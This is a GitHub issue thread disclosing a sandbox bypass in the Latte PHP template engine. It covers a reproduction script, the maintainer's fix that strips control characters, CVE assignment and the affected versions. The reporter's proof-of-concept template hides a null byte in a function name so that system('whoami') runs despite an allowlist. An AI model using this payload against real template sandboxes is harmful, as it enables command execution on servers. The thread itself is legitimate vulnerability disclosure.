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There is a way to bypass allowFunctions #279



New issue

○ Closed JinYiTong opened this issue on Nov 21, 2021 · 14 comments

JinYiTong commented on Nov 21, 2021 Version: 2.10.5 **Bug Description** There is a way to bypass allowFunctions that will affect security. Steps To Reproduce error_reporting(0); require 'vendor/autoload.php';
\$latte = new Latte\Engine; \$policy = new Latte\Sandbox\SecurityPolicy;
\$policy->allowFilters(\$policy::ALL); \$policy->allowMacros(['if','=']);
\$policy->allowFunctions(['strlen']); \$latte->setPolicy(\$policy);
\$latte->setSandboxMode();
\$latte->setAutoRefresh(false); file_put_contents('index.latte',"{=system\x00('whoami')}"); \$latte->render('index.latte'); This will execute the system function. **Expected Behavior** Should throw an error not allowed by system function **Possible Solution** Use rigorous regular expression segmentation, or add more rigorous judgments in isFunctionAllowed function

Member dg commented on Nov 22, 2021

The template {=system\x00('whoami')} will produce non-valid PHP code. Latte cannot check the validity of the generated code at this time, this will be implemented in the next major version.

Author JinYiTong commented on Nov 23, 2021 Thank you for your reply. Although this is a PHP language bug, it does affect your project. php > eval("system\x00('whoami');"); PHP Warning: Unexpected character in input: 'in php shell code(1): eval()'d code on line 1 PHP Stack trace: PHP 1. {main}() php shell code:0 Warning: Unexpected character in input: ' in php shell code(1) : eval()'d code on line 1 32,1605 394912 1. {main}() php shell code:0 jiang\hp system function is executed without permission, which undoubtedly violates the <code>isFunctionAllowed</code> function in <code>latte</code>

dg commented on Nov 23, 2021 Member Oh, my gosh, I didn't know about that PHP bug. Affected are PHP 7.0-7.4 for characters \x00-\x1F & \x7F

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JinYiTong commented on Nov 23, 2021 Author Yeah, will latte fix this bypass in the next major version?

ag closed this as completed in 227c86e on Nov 23, 2021

dg added a commit that referenced this issue on Nov 23, 2021

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dg added a commit that referenced this issue on Nov 23, 2021 Parser: removes all control characters from template [Closes #279] X 8aeb045 dg commented on Nov 23, 2021 Member It should be fixed. $\[\[\] \]$ dg added a commit that referenced this issue on Nov 26, 2021 Parser: removes all control characters from template [Closes #279] f3196de JinYiTong commented on Dec 9, 2021 • edited ▼ Author Good to hear that a fix was made. Sorry I disclosed this bug publicly. dg commented on Dec 9, 2021 Member Sorry I disclosed this bug publicly. That's okay. Sandbox is a new feature and I don't think anyone has used it in real life yet. In fact, I pretty much expect there to be some bugs in it. <u>1</u> utkarsh2102 commented on Jan 3 Oh hey, I am interested to know in which commit was this introduced? Or which versions are affected? All before 2.10.5? utkarsh2102 commented on Jan 3 BTW, this was assigned CVE-2021-23803. And hence I am interested to know about the above question. TIA! \o/ Member dg commented on Jan 4 There were more sandbox issues in a last months. They're all fixed, and they are covered collectively by CVE-2022-21648 utkarsh2102 commented on Jan 4 @dg, thanks for letting me know but I am interested in the versions these two CVEs affect of this project? Are all the versions prior to the fixed version affected? Or this only affects some versions? Member dg commented on Jan 4 • edited • Sandbox first appeared in Latte 2.8.0 so older versions are not affected. This issue was fixed in 2.8.7 and 2.9.5 and 2.10.6. But there was one more bug in the sandbox and it is fixed in the latest versions: 2.8.8 and 2.9.6 and 2.10.8. utkarsh2102 commented on Jan 8 Got it, thank you! Both CVE-2021-23803 and CVE-2022-21648 are unaffected for nette < 2.8.0. I'll mark the same. Thank you! \o/ Member dg commented on Jan 8 Yes, for latte/latte Assignees No one assigned Projects Development No branches or pull requests 3 participants

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